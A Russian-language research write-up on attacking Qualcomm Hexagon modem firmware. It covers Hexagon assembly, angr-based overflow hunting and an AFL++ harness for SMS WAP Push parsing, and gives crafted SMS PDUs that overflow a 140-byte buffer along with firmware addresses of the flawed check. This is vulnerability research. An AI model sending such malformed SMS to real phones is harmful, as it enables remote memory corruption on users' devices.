ныряем в hexagon QDSP6 или какие векторы атак есть на модем телефона на базе qualcomm

V1  → V2  → V3  → V4  (MSM7xxx, ранние Snapdragon)
V5  → V55 → V56        (Snapdragon 800, 801)
V60 → V61 → V62        (Snapdragon 820, 835)
V65 → V66              (Snapdragon 845, 855)
V68                    (Snapdragon 865, 888)
V69                    (Snapdragon 8 Gen 1)
V73                    (Snapdragon 8 Gen 2, 6 Gen 3)

// Пример пакета QDSP6 (псевдокод)
{
    R0 = R1 + R2       // ALU операция
    R3 = memw(R4)      // Load из памяти
    P0 = cmp.eq(R5,R6) // Comparison → predicate
}
// Всё три операции — за один такт

┌────────────────────────────────────────────────┐
│              Hexagon V73 Core                  │
│                                                │
│  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐          │
│  │ ALU0 │ │ ALU1 │ │ MUL  │ │ LD/ST│          │
│  └──────┘ └──────┘ └──────┘ └──────┘          │
│       ↑        ↑       ↑        ↑              │
│  ─────────────────────────────────────────     │
│         Unified Register File                  │
│    R0-R31 (32×32-bit general purpose)          │
│    P0-P3  (4×8-bit predicate registers)        │
│    C0-C31 (control registers)                  │
│  ─────────────────────────────────────────     │
│         Instruction Fetch / Decode             │
│  ─────────────────────────────────────────     │
│    HW Thread 0 | HW Thread 1 | HW Thread 2     │
│    HW Thread 3                                 │
└────────────────────────────────────────────────┘

0x00000000 - 0x00FFFFFF  : TCM (Tightly Coupled Memory) — быстрая память ядра
0x01000000 - 0x0FFFFFFF  : Internal RAM
0x80000000 - 0x9FFFFFFF  : Shared memory с ARM (SMEM)
0xC0000000 - 0xFFFFFFFF  : MMIO, периферия

User mode (PL0)      — пользовательский код, сервисы
Supervisor (PL1)     — QuRT RTOS, управление ресурсами
Monitor/Hypervisor   — только на некоторых конфигурациях

┌─────────────────────┐       ┌─────────────────────┐
│    Android (ARM)    │       │   Hexagon DSP       │
│                     │       │                     │
│  app → libcdsprpc   │──────▶│  skeleton stub      │
│        ↓            │  SHM  │       ↓             │
│  /dev/fastrpc-cdsp  │       │  compute_lib.so     │
└─────────────────────┘       └─────────────────────┘

R0          ; 32-bit регистр
R1:0        ; 64-bit пара: R1 (старшие 32 бит) : R0 (младшие 32 бит)
R3:2        ; следующая пара

P0 = cmp.eq(R0, R1)    ; P0 = (R0 == R1)
P1 = cmp.gt(R2, R3)    ; P1 = (R2 > R3) signed
P2 = cmp.gtu(R4, R5)   ; P2 = (R4 > R5) unsigned

if (P0) R6 = R7        ; условное присваивание
if (!P1) jump .label   ; условный переход (инвертированный)

P3 = P0 & P1           ; логическое AND предикатов
P3 = P0 | P1           ; logical OR
P3 = P0 ^ P1           ; XOR

; Обычная последовательность (не пакет):
R0 = R1 + R2
R3 = R4 + R5

; Тот же код как пакет:
{
    R0 = R1 + R2
    R3 = R4 + R5
}

; ОШИБКА — data hazard в пакете:
{
    R0 = R1 + R2     ; пишем R0
    R3 = R0 + R4     ; читаем R0 — но это СТАРОЕ значение R0!
}

; Правильно:
R0 = R1 + R2
{
    R3 = R0 + R4     ; теперь R0 уже обновлён
}

; Сложение/вычитание
R0 = R1 + R2                ; R0 = R1 + R2
R0 = R1 - R2                ; R0 = R1 - R2
R0 = R1 + R2:sat            ; R0 = saturate(R1 + R2)
R0 += R1                    ; R0 = R0 + R1  (аккумуляция)

; 64-битная арифметика
R1:0 = R3:2 + R5:4          ; 64-bit add

; Умножение
R0 = mpy(R1, R2)            ; R0 = низкие 32 бит (R1 * R2)
R1:0 = mpy(R2, R3)          ; 64-bit результат
R0 = mpyi(R1, #5)           ; умножить на immediate

; Деление (медленно!)
R0 = R1 / R2                ; знаковое деление
R0 = R1 / R2 :rnd           ; с округлением

R0 = and(R1, R2)            ; R0 = R1 & R2
R0 = or(R1, R2)             ; R0 = R1 | R2 
R0 = xor(R1, R2)            ; R0 = R1 ^ R2
R0 = not(R1)                ; R0 = ~R1

; Сдвиги
R0 = asr(R1, #4)            ; арифметический сдвиг вправо на 4
R0 = lsr(R1, #4)            ; логический сдвиг вправо
R0 = asl(R1, #4)            ; сдвиг влево
R0 = asr(R1, R2)            ; сдвиг на переменное количество бит

; Ротация
R0 = rol(R1, #3)            ; rotate left

; Битовые операции
R0 = setbit(R1, #5)         ; установить бит 5
R0 = clrbit(R1, #5)         ; сбросить бит 5
R0 = togglebit(R1, #5)      ; инвертировать бит 5
P0 = tstbit(R1, #5)         ; проверить бит 5 → predicate

; Loads
R0 = memb(R1 + #4)          ; load byte (sign-extended)
R0 = memub(R1 + #4)         ; load unsigned byte
R0 = memh(R1 + #8)          ; load halfword (16 bit)
R0 = memuh(R1 + #8)         ; load unsigned halfword
R0 = memw(R1 + #12)         ; load word (32 bit)
R1:0 = memd(R2 + #16)       ; load double (64 bit)

; Addressing modes
R0 = memw(R1)               ; base register
R0 = memw(R1 + #offset)     ; base + immediate
R0 = memw(R1 + R2 << #2)   ; base + scaled register
R0 = memw(R1 ++ #4)         ; post-increment: load then R1 += 4
R0 = memw(R1 -- #4)         ; post-decrement

; Stores
memb(R1 + #4) = R0          ; store byte
memh(R1 + #4) = R0          ; store halfword
memw(R1 + #4) = R0          ; store word
memd(R1 + #4) = R1:0        ; store double

; Безусловные переходы
jump .label                 ; прямой jump (PC-relative)
jumpr R0                    ; indirect jump (через регистр)
call .func                  ; вызов функции (R31 = return addr)
callr R0                    ; indirect call

; Условные переходы
if (P0) jump .label         ; если P0 истина
if (!P0) jump .label        ; если P0 ложь
if (P0.new) jump .label     ; .new — ссылка на P0 вычисленный в том же пакете

; Return
jumpr R31                   ; return (jump to link register)

{
    P0 = cmp.eq(R0, #0)
    if (P0.new) jump:t .label   ; :t = taken hint (предсказание)
}

; Аппаратный цикл
loop0(.loop_body, #10)       ; настроить счётчик = 10, адрес начала

.loop_body:
    R0 = R0 + R1
    R2 = memw(R3 ++ #4)     ; post-increment
endloop0                     ; уменьшить счётчик, если != 0 — jump к loop_body

; Вложенные циклы
loop0(.inner, R4)
loop1(.outer, R5)
.outer:
.inner:
    ; тело
    endloop0
endloop1

; Функция: int validate_buffer(void *buf, int size)
; (учебный псевдокод, иллюстрирующий типичный паттерн)

    {
        R2 = memw(R0 + #0)        ; load buf->magic
        R3 = memw(R0 + #4)        ; load buf->length
    }
    {
        R4 = and(R3, #0xFFFF0000) ; маскируем старшие 16 бит length
        P0 = cmp.eq(R2, #0xDEADBEEF)  ; проверяем magic
    }
    {
        if (!P0) jump .fail       ; если magic неверный — выход
        R5 = R3                   ; копируем length
    }
    {
        R4 = asr(R4, #16)         ; R4 = size (старшие 16 бит)
        R6 = R1                   ; сохраняем аргумент size
    }
    P1 = cmp.gtu(R5, R6)         ; length > input size?
    if (P1) jump .fail            ; overflow protection

.fail:
    R0 = #-1
    jumpr R31                     ; return -1

; Вызов функции: int memcpy_checked(void *dst, void *src, size_t n)
; dst → R0, src → R1, n → R2

.caller:
    R0 = R28                ; dst
    R1 = R27                ; src
    R2 = #256               ; n = 256 байт
    call memcpy_checked
    ; R0 теперь содержит return value

; Пролог функции:
memcpy_checked:
    {
        allocframe(#24)     ; выделить кадр стека (24 байта)
        memw(R29 + #0) = R16  ; сохранить callee-saved
    }
    memw(R29 + #4) = R17
    memw(R29 + #8) = R18

; Эпилог:
    {
        R0 = #0             ; return value
        dealloc_return      ; восстановить кадр + return
    }

R0 = ##0x12345678           ; псевдоинструкция → разворачивается в:
; R0.H = #0x1234            ; hi-16
; R0.L = #0x5678            ; lo-16

R0 = #lo(0x12345678)
R0.H = #hi(0x12345678)

; switch(R0) с таблицей переходов
R1 = jumptable_base
R0 = asl(R0, #2)             ; R0 *= 4 (размер указателя)
R0 = R0 + R1                 ; адрес записи в таблице
R0 = memw(R0)                ; загрузить адрес case
jumpr R0                     ; перейти

; Быстрый memmove через memd (double-word)
loop0(.memmove_loop, R2 >> #3)  ; count = len / 8
.memmove_loop:
    R3:2 = memd(R0 ++ #8)       ; load 8 bytes, post-increment src
    memd(R1 ++ #8) = R3:2       ; store 8 bytes, post-increment dst
endloop0

// Пример вывода Ghidra decompiler для validate_buffer:
int validate_buffer(void *buf, int size) {
    uint magic = *(uint*)buf;
    uint length = *((uint*)buf + 1);
    if (magic != 0xdeadbeef) return -1;
    if (length > (uint)size) return -1;
    // ...
}

; RPC-обработчик (учебный псевдокод)

    allocframe(#32)
    {
        R16 = R0                  ; сохранить первый аргумент
        R17 = R1                  ; сохранить второй
    }
    {
        R0 = memw(R16 + #0)       ; load request->type
        R1 = memw(R16 + #4)       ; load request->handle
    }
    R2 = #0x14                    ; sizeof(response) = 20 bytes HARDCODED
    call malloc                   ; malloc(0x14)
    {
        P0 = cmp.eq(R0, #0)       ; malloc вернул NULL?
        R18 = R0                  ; сохранить указатель
    }
    if (P0) jump .oom_error       ; out of memory

    ; ... обработка
    R0 = memw(R17 + #0)           ; load size из пользовательских данных
    {
        R1 = R18                  ; dst = malloc(0x14) буфер
        R2 = memw(R17 + #4)       ; load src из пользовательских данных
    }
    call memcpy                   ; memcpy(dst, src, size)
    ; НЕТ проверки size перед memcpy → heap overflow

input = 42
x = input + 1  → x = 43
if (x > 100): ...  → FALSE, ветка не взята

input = α  (символ, "неизвестное значение")
x = α + 1  (символическое выражение)
if (x > 100):
    → Ветка TRUE взята когда: α + 1 > 100 → α > 99
    → Ветка FALSE взята когда: α ≤ 99

Constraints: { α > 99, α < 256 }
Z3 решение: α = 100  ✓

┌─────────────────────────────────────────────────────┐
│              Symbolic Execution Engine              │
│                                                     │
│  ┌──────────────┐    ┌───────────────────────────┐  │
│  │   Binary/    │    │    Symbolic State         │  │
│  │   Program    │───▶│  - Registers (symbolic)   │  │
│  └──────────────┘    │  - Memory (symbolic)      │  │
│                      │  - Path constraints        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  Instruction │              │                    │
│  │  Semantics   │              ▼                    │
│  │  (lifter)    │    ┌───────────────────────────┐  │
│  └──────────────┘    │    State Manager           │  │
│                      │  (fork at branches)        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  SMT Solver  │              │                    │
│  │    (Z3)      │◀─────────────┘                    │
│  └──────────────┘                                   │
└─────────────────────────────────────────────────────┘

import angr
import claripy

# Загрузить бинарник (Hexagon ELF)
proj = angr.Project('./libqdspservice.so',
                    auto_load_libs=False,
                    arch='hexagon')

# Создать символические входные данные
buf_size = 0x100
sym_buf = claripy.BVS('input_buf', buf_size * 8)  # 256 байт символических

# Создать начальное состояние
state = proj.factory.blank_state(
    addr=0x0001A340,   # адрес функции validate_buffer
    add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY}
)

# Положить символический буфер в R0
state.regs.r0 = state.memory.alloc_and_store(sym_buf)
state.regs.r1 = claripy.BVV(0x200, 32)  # size = 512

# Запустить simulation manager
simgr = proj.factory.simulation_manager(state)

# Искать путь к адресу уязвимости, избегать exit/error пути
simgr.explore(
    find=0x0001A400,    # цель: адрес после проверок
    avoid=0x0001A380    # избегать: error return
)

if simgr.found:
    found_state = simgr.found[0]
    # Получить конкретное значение входа
    concrete_input = found_state.solver.eval(sym_buf, cast_to=bytes)
    print(f"Найден входной буфер: {concrete_input.hex()}")

# Компилируем в LLVM bitcode
clang -target hexagon-unknown-linux-musl \
      -emit-llvm -c dsp_service.c -o dsp_service.bc

# Запускаем KLEE
klee --max-time=60 dsp_service.bc

# Псевдокод: конколическое исполнение через QEMU трассу
def concolic_execute(binary, concrete_input):
    trace = qemu_run(binary, concrete_input)  # конкретное исполнение
    constraints = lift_trace_to_smt(trace)     # поднимаем трассу в SMT
   
    # Инвертируем последнюю ветку для нового пути
    new_constraints = constraints[:-1] + [negate(constraints[-1])]
    new_input = z3_solve(new_constraints)
   
    return new_input  # новый ввод который пойдёт по другому пути

import angr
import claripy

class HeapOverflowDetector(angr.SimProcedure):
    """Перехватчик для memcpy — проверяем size > allocated"""
   
    def run(self, dst, src, size):
        allocated_size = self.state.globals.get('last_malloc_size', None)
       
        if allocated_size is not None:
            # Добавляем assertion: size <= allocated_size
            overflow_condition = claripy.UGT(size, allocated_size)
           
            if self.state.solver.satisfiable(
                extra_constraints=[overflow_condition]
            ):
                # Нашли потенциальный overflow!
                trigger_input = self.state.solver.eval(
                    self.state.globals['sym_input']
                )
                print(f"[!] Heap overflow возможен!")
                print(f"    Входное значение: {hex(trigger_input)}")
                print(f"    Allocated: {self.state.solver.eval(allocated_size)}")
                print(f"    Copy size: {self.state.solver.eval(size)}")
       
        # Добавляем реальное ограничение (нет overflow)
        self.state.solver.add(claripy.ULE(size, claripy.BVV(0x1000, 32)))
        return self._do_memcpy(dst, src, size)

# Хукаем malloc для отслеживания размеров
class TrackingMalloc(angr.SimProcedure):
    def run(self, size):
        self.state.globals['last_malloc_size'] = size
        # Вызываем реальный malloc
        ptr = self.state.heap.malloc(self.state.solver.eval(size))
        return ptr

# Регистрируем хуки
proj.hook_symbol('memcpy', HeapOverflowDetector())
proj.hook_symbol('malloc', TrackingMalloc())

# Анализируем только одну функцию, не переходим в другие
simgr = proj.factory.simulation_manager(state)
simgr.use_technique(angr.exploration_techniques.DFS())  # depth-first

# Ограничиваем глубину
simgr.explore(
    find=target_addr,
    avoid=avoid_addrs,
    step_func=lambda sm: sm.move(
        from_stash='active',
        to_stash='pruned',
        filter_func=lambda s: s.history.depth > 1000  # обрезаем глубокие пути
    )
)

simgr.use_technique(angr.exploration_techniques.Veritesting())

state = proj.factory.blank_state(addr=func_addr)
# Все регистры и память — символические по умолчанию

# Из fastrpc_analysis.py — реальный код:
# Taint tracking: _pra → r16 → memb(r16+#0)
#
# Approach: ищем инструкции вида memb(rX+#imm) = rY
# где rX помечен как tainted (происходит из _pra)
# и перед этой инструкцией нет cmp.gtu для rX
#
# Результат: 56 HIGH срабатываний в sysmon_skel_invoke
# Адреса: 0xa7e8, 0xa7f0, 0xa7fc, 0xa804, ... (см. главу 10)

import angr
import claripy

# Загрузить skel .so
proj = angr.Project('libs/libsysmon_skel.so', auto_load_libs=False)

# Символический _sc + _pra
sc  = claripy.BVS('_sc',  32)
pra = claripy.BVS('_pra_data', 256 * 8)

state = proj.factory.blank_state(addr=0x9cac)  # sysmon_skel_invoke
state.regs.r2 = sc    # _sc
state.regs.r3 = claripy.BVV(0x10000, 32)
state.memory.store(0x10000, pra)

simgr = proj.factory.simulation_manager(state)
# Цель: OOB dispatch table read @ 0x9ccc
simgr.explore(find=0x9ccc, avoid=0x9d00)

Статический анализ → находим подозрительные функции
         ↓
Symbolic execution → генерируем входы достигающие этих функций
         ↓
Fuzzer → используем эти входы как seed corpus
         ↓
Краш → анализируем → эксплоит

static inline long __syscall(long nr,
    long a0, long a1, long a2, long a3, long a4, long a5)
{
    register long r0 __asm__("r0") = a0;
    register long r1 __asm__("r1") = a1;
    register long r2 __asm__("r2") = a2;
    register long r3 __asm__("r3") = a3;
    register long r4 __asm__("r4") = a4;
    register long r5 __asm__("r5") = a5;
    register long r6 __asm__("r6") = nr;
    __asm__ volatile (
        "trap0(#1)"
        : "+r"(r0)
        : "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5), "r"(r6)
        : "memory"
    );
    return r0;
}

static long sys_read(int fd, void *buf, size_t count) {
    return __syscall(63, fd, (long)buf, count, 0, 0, 0);
}
static long sys_write(int fd, const void *buf, size_t count) {
    return __syscall(64, fd, (long)buf, count, 0, 0, 0);
}
static void sys_exit(int code) {
    __syscall(93, code, 0, 0, 0, 0, 0);
}

#define WAP_PUSH_PORT    0x0B84
#define WAP_PUSH_BUF     140    /* реальный размер буфера в WMS, b08 */
#define MAX_USER_DATA    160

typedef struct {
    uint8_t  smsc_len;           /* +0x00 */
    uint8_t  tp_flags;           /* +0x01: SMS-DELIVER=0x04, UDHI=0x40 */
    uint8_t  tp_oa[12];          /* +0x02: originating address */
    uint8_t  tp_pid;             /* +0x0E */
    uint8_t  tp_dcs;             /* +0x0F */
    uint8_t  tp_scts[7];         /* +0x10: timestamp */
    uint8_t  tp_udl;             /* +0x17: user data length */
    uint8_t  user_data[MAX_USER_DATA]; /* +0x18 */

    /* Parsed fields — заполняются harness'ом */
    uint16_t wap_dst_port;       /* извлекается из UDH IEI=0x05 */
    uint16_t wap_src_port;
    uint8_t  wap_copy_len;       /* длина полезной нагрузки после UDH */
} sms_deliver_t;

static void parse_udh(sms_deliver_t *s) {
    if (!(s->tp_flags & 0x40)) return;   /* нет UDHI */

    uint8_t *ud  = s->user_data;
    uint8_t  udh = ud[0];                /* длина UDH без самого байта длины */
    uint8_t  pos = 1;

    while (pos < udh + 1) {
        uint8_t iei = ud[pos];
        uint8_t iel = ud[pos + 1];
        if (iei == 0x05 && iel == 0x04) {        /* Application Port 16-bit */
            s->wap_dst_port = (ud[pos+2] << 8) | ud[pos+3];
            s->wap_src_port = (ud[pos+4] << 8) | ud[pos+5];
        }
        pos += 2 + iel;
    }

    /* payload начинается сразу после UDH */
    uint8_t payload_off = udh + 1;
    s->wap_copy_len = (s->tp_udl > payload_off)
                      ? s->tp_udl - payload_off : 0;
}

static void check_crash(const sms_deliver_t *s) {
    if (s->wap_dst_port == WAP_PUSH_PORT &&
        s->wap_copy_len  > WAP_PUSH_BUF) {
        volatile uint8_t *null_ptr = (volatile uint8_t *)0;
        *null_ptr = 0xFF;   /* SIGSEGV → AFL++ crash */
    }
}

void _start(void) {
    uint8_t buf[256];
    long    n;

    n = sys_read(0, buf, sizeof(buf));
    if (n < 2) sys_exit(0);

    sms_deliver_t s;
    __builtin_memset(&s, 0, sizeof(s));

    s.smsc_len  = buf[0];
    s.tp_flags  = buf[1];

    /* копируем остаток как user_data */
    long copy = n - 2;
    if (copy > (long)sizeof(s.user_data)) copy = sizeof(s.user_data);
    __builtin_memcpy(s.user_data, buf + 2, copy);

    /* tp_udl — первый байт user_data в упрощённой модели */
    s.tp_udl = s.user_data[0];

    parse_udh(&s);
    check_crash(&s);

    sys_exit(0);
}

clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static -O2 \
         -o /tmp/sms_harness_hex \
         sms_harness.c

# тест на valid WAP Push (не должен крашить)
qemu-hexagon /tmp/sms_harness_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # 0

# тест overflow (SIGSEGV)
qemu-hexagon /tmp/sms_harness_hex < seeds/03_wap_overflow.pdu
echo "exit: $?"   # 139

.equ WMS_ENTRY,    0xbbd70b48  /* wms_ts_decode_gw_pp, b08 r-x */
.equ QURT_LOCK,    0xbbb07498  /* qurt_mutex_lock в b27        */
.equ DIAG_LOG,     0xbbb02e80  /* diag_log_alloc в b27         */
.equ WMS_SLOT_BASE,0xc2a78000  /* BSS: WMS структуры (b23/b24) */
.equ WAP_BUF_OFF,  0xad8       /* offset буфера = 0xc2a78ad8   */
.equ STACK_TOP,    0xc2d9ff00  /* вершина стека из BSS         */

.equ RET_OPCODE, 0x529fc000    /* { jumpr r31 } */

patch_stub:
    /* r0 = адрес стаба */
    { r1 = ##RET_OPCODE }
    { memw(r0+#0) = r1 }       /* записываем { jumpr r31 } */
    { jumpr r31 }

_start:
    /* патчим QURT_LOCK */
    { r0 = ##QURT_LOCK }
    { call patch_stub }

    /* патчим DIAG_LOG */
    { r0 = ##DIAG_LOG }
    { call patch_stub }

    { r29 = ##STACK_TOP }       /* SP = 0xc2d9ff00 */
    { r30 = #0 }                /* FP = 0         */
    { r31 = ##halt_addr }       /* LR → halting label */

    { r0 = #0 }                         /* fd = stdin */
    { r1 = ##(WMS_SLOT_BASE + WAP_BUF_OFF) }
    { r2 = #256 }
    { r6 = #63 }                        /* SYS_read */
    trap0(#1)
    { r19 = r0 }                        /* сохраняем bytes_read */

    /* r0 = указатель на WMS slot (первый аргумент) */
    { r0 = ##WMS_SLOT_BASE }
    /* r1 = длина прочитанных данных */
    { r1 = r19 }
    { call ##WMS_ENTRY }                /* wms_ts_decode_gw_pp */

clang-20 -target hexagon-unknown-linux-musl \
         -nostdlib -static \
         -o /tmp/harness_wms_hex \
         harness_wms.S

# Запуск с seed overflow
qemu-hexagon /tmp/harness_wms_hex < seeds/03_wap_overflow.pdu

01 00

04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

Offset  Hex   Значение
------  ----  --------
0x00    04    smsc_len = 4 (4 байта SMSC номера следуют)
0x01    91    tp_flags:
                bit7=1 (RP), bit6=1 (UDHI), bit0=0 → SMS-DELIVER
                0x91 = 1001 0001
0x02-05 11 22 33 40   tp_oa (originating address, BCD)
0x06    06    длина OA = 6 знаков
0x07    91    OA type of address (international, E.164)
0x08-0B 10 32 54 00   OA digits BCD
0x0C    00    tp_pid = 0
0x0D    10    tp_dcs = 0x10 (8-bit data)
0x0E-14 60 12 31 72 80 00 12   tp_scts (timestamp, 7 bytes)
0x15    06    tp_udl = 6 (User Data Length: 6 байт после UDH)

         ← начало User Data →
0x16    05    UDH Length = 5 байт
0x17    05    IEI = 0x05 (Application Port Addressing, 16-bit)
0x18    04    IE Length = 4
0x19-1A 0b 84  Destination Port = 0x0B84 = 2948 (WAP Push)
0x1B-1C 0b 84  Source Port      = 0x0B84

         ← WAP payload (после UDH) →
0x1D    57 41 50 20 63 6f 6e 74 65 6e 74
        "WAP content" (11 байт, но tp_udl=6 → реально читается 6)

01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41

0x00    01    smsc_len = 1
0x01    00    tp_flags = 0x00 (SMS-DELIVER, без UDHI)
0x02    40    — начало user_data в упрощённой модели harness
0x03    06    —
...
0x11    8f    tp_udl = 0x8F = 143

        UDH:
0x12    06    UDH Length = 6
0x13    05    IEI = Application Port 16-bit
0x14    04    IE Length = 4
0x15-16 0b 84  dst_port = 0x0B84
0x17-18 12 34  src_port = 0x1234

        WAP payload = 136 байт 'A'

wap_copy_len = tp_udl - (udh_len + 1) = 143 - 7 = 136

01 40 8a 06 05 04 0b 84 23 f0

tp_flags = 0x40 (UDHI set)
tp_udl   = 0x8a = 138 — ровно на границе
UDH      = 6 байт (IEI=05, len=04, dst=0x0B84, src=0x23F0)
payload  = 138 - 7 = 131 байт

01 40 8d 06 05 04 0b 84 23 f0

tp_udl = 0x8d = 141
payload = 141 - 7 = 134 байт

04 91 11 22 33 40 07 91 10 32 54 76 f0
10 60 12 31 72 80 00 00 a0 06 05 04 0b 84 23 f0

smsc_len = 4
tp_flags = 0x91 (UDHI + RP)
tp_oa = 07 91 10 32 54 76 f0 (7-digit international)
tp_pid = 0x10
tp_dcs = 0x60
tp_scts = 7 байт
tp_udl  = 0xa0 = 160  ← максимум по UDL check
UDH = 7 байт
payload = 160 - 7 = 153 байт → 153 > 140 → overflow!

01 40 00

00 00 00 00 00 00 00 00

mkdir -p afl_seeds/
cp seeds/0*.pdu afl_seeds/

# Проверяем что seed 06 крашит
qemu-hexagon /tmp/sms_harness_hex < afl_seeds/06_udl_gap_crash.pdu
echo "exit: $?"   # 139

# Проверяем что остальные не крашат
for f in afl_seeds/0{1,2,3,4,5,7,8}*.pdu; do
  qemu-hexagon /tmp/sms_harness_hex < "$f" || echo "UNEXPECTED CRASH: $f"
done

AFL_NO_FORKSRV=1 \
AFL_SKIP_BIN_CHECK=1 \
AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n \
           -i afl_seeds/ \
           -o afl_out/ \
           -- qemu-hexagon /tmp/sms_harness_hex

452 * 3600 * 8 ≈ 13,017,600 exec

id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3

04 91 11 22 33 00 06 91 10 32 54 00 00 10 60 12
3b 72 7d 00 ed

Offset  Hex   Значение
0x00    04    smsc_len = 4
0x01    91    tp_flags = 0x91 (UDHI + RP, SMS-DELIVER)
0x02-05 11 22 33 00   OA bytes
0x06    06    OA len
0x07    91    OA type
0x08-0B 10 32 54 00   OA digits
0x0C    00    tp_pid
0x0D    10    tp_dcs
0x0E-14 60 12 3b 72 7d 00 ed   — тут havoc смял timestamp + tp_udl

← tp_udl читается harness'ом из user_data[0] в упрощённой модели →
последний байт: ed = 0xed = 237

crashes     : 25601 (AFL++ уникальных = 1)

ls afl_out/queue/ | wc -l
# зависит от кампании, типично 50–200 entries

for f in afl_out/queue/id:00000[0-5]*; do
  printf "%-60s  tp_udl=" "$f"
  xxd -l 20 "$f" | head -2
done

afl-tmin \
  -i "afl_out/crashes/id:000000,sig:11,src:000004,time:31,execs:56,op:havoc,rep:3" \
  -o crash_minimized.bin \
  -- qemu-hexagon /tmp/sms_harness_hex

hexdump -C crash_minimized.bin

/* В sms_harness с libc (для native AFL++) */
#include <stdlib.h>
#include <string.h>

__AFL_FUZZ_INIT();

int main(void) {
    __AFL_INIT();
    unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;

    while (__AFL_LOOP(10000)) {
        int len = __AFL_FUZZ_TESTCASE_LEN;
        if (len < 2) continue;

        sms_deliver_t s;
        memset(&s, 0, sizeof(s));
        s.smsc_len = buf[0];
        s.tp_flags = buf[1];
        /* ... */
        parse_udh(&s);
        check_crash(&s);
    }
    return 0;
}

0xbf421b78: ptr → handler_0    ; WMS_MSG_EVENT_SEND
0xbf421b7c: ptr → handler_1    ; WMS_MSG_EVENT_ACK
...
0xbf421b78 + 849*4 = 0xbf422e4c  (конец таблицы)

# radare2: ищем плотные массивы указателей в b19
r2 -q -c '/x 20bd bbd0' modem.elf
# или через скрипт анализа плотности ptr
python3 find_dispatch.py --base 0xbef86000 --size 0x400000 modem.elf
# [+] Dense ptr array at 0xbf421b78, 849 entries

dispatch[N] → wms_msg_event_mt_message_handler (b08)
    → wms_ts_decode (b08, 0xbbd5xxxx)
        → wms_ts_decode_gw_pp (b08, 0xbbd70b48)

0xbf2054c8: 0x0b81
0xbf2054cc: 0x0b84  ← наш WAP Push порт
0xbf2054d0: 0x0b87
0xbf2054d4: ...

bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc  ; не WAP if high byte ≠ 0x0b

strings -t x modem.elf | grep -E 'sms|wap|ota|diag' | head -20

atp_sms_parse_msg_callback   ← callback регистрации в ATP
ds_atp_sms.c                 ← исходный файл (DP: ds = data services)
SMS message is too large!    ← строка error-пути (но мы видели что abort не вызывается)
BAD_OTA                      ← OTA validation error
WMS_TS_DECODE_GW_PP          ← имя функции в assert-строке

0xbbb162cc: r2 = memuh(r16+#0x2a)    ; читает 2 байта из структуры + 0x2a
0xbbb162d0: p0 = cmp.eq(r2, ##0x7ab1e5e7)
0xbbb162d4: if (!p0) jump error_path

# Grep по дизассему: allocframe с аргументом > 0x200
objdump -d modem.elf | grep -B1 'allocframe' | \
  python3 -c "
import sys, re
for line in sys.stdin:
    m = re.search(r'allocframe\(#(0x[0-9a-f]+)\)', line)
    if m and int(m.group(1), 16) > 0x200:
        print(line.strip())
" | wc -l

0xbbd70b48  ENTRY
    │
    ▼
0xbbd70b60  parse SMSC length
    │
    ▼
0xbbd70b80  parse TP-flags, check UDHI
    │
    ├─[no UDHI]──────────────────────────────┐
    │                                        │
    ▼                                        │
0xbbd70ba0  parse UDH loop                  │
    │                                        │
    ├─[IEI != 0x05]──→ next IE              │
    │                                        │
    ▼                                        │
0xbbd70cf4  check port high byte            │
    │                                        │
    ├─[r3 != 0x0b]───────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d00  binary search in port array      │
    │                                        │
    ├─[port not found]────────────────────────┤
    │                                        │
    ▼                                        │
0xbbd70d84  ← BOUNDS CHECK (THE BUG)        │
    │  cmph.gtu(r24, ##0x8c)                │
    │                                        │
    ├─[r24 > 140]──→ 0xbbd70dac DIAG log    │
    │                    │                   │
    │                    ▼                   │
    │               0xbbd70db0              │
    │                    │                   │
    │    ┌───────────────┘                   │
    │    │                                   │
    └────┴──→ 0xbbd70dc8  ← SUCCESS PATH ←──┘
                 │
                 ▼
             memcpy(wap_buf, payload, r24)   ← ALWAYS EXECUTES

0xbbd70d84: cmph.gtu(r24, ##0x8c)
    ← r24 установлен где-то выше

0xbbd70d70: r24 = memb(r21+#0x1)
    ← r21 — указатель на UDH+payload область

0xbbd70ba0: r21 = r18 + udh_len + 1
    ← r18 — указатель на user_data

0xbbd70b60: r18 = r0 + smsc_len + 1  ← r0 = входной буфер
    ← r0 — первый аргумент wms_ts_decode_gw_pp

r24 = *(входной_буфер + smsc_len + 1 + udh_len + 1 + 1)
    = tp_udl - udh_overhead

0xbbd20808: p0 = cmp.gtu(r20, #0xa0)
0xbbd2080c: if (p0) jump error_path

0xbbd20808: cmp.gtu(r20, #0xa0)
    ← r20 = tp_udl (читается напрямую из PDU байта)

# Загрузка в Ghidra
# Language: Hexagon:LE:32:v5:default (ближайший к v73)
# Адрес загрузки: 0xbbd20000 для b08

# Поиск dispatch table
python3 find_dispatch.py modem_b08.bin --base 0xbbd20000

# Дизассем конкретного адреса
objdump -D --start-address=0xbbd70b48 --stop-address=0xbbd70e00 \
  -m hexagon modem_b08.bin

# Поиск строк с адресами
strings -t x modem_b08.bin | grep -i "wap\|sms\|ota"

# Поиск XREFs на строку "SMS message is too large"
r2 modem_b08.bin -q -c '/iz SMS message is too large'

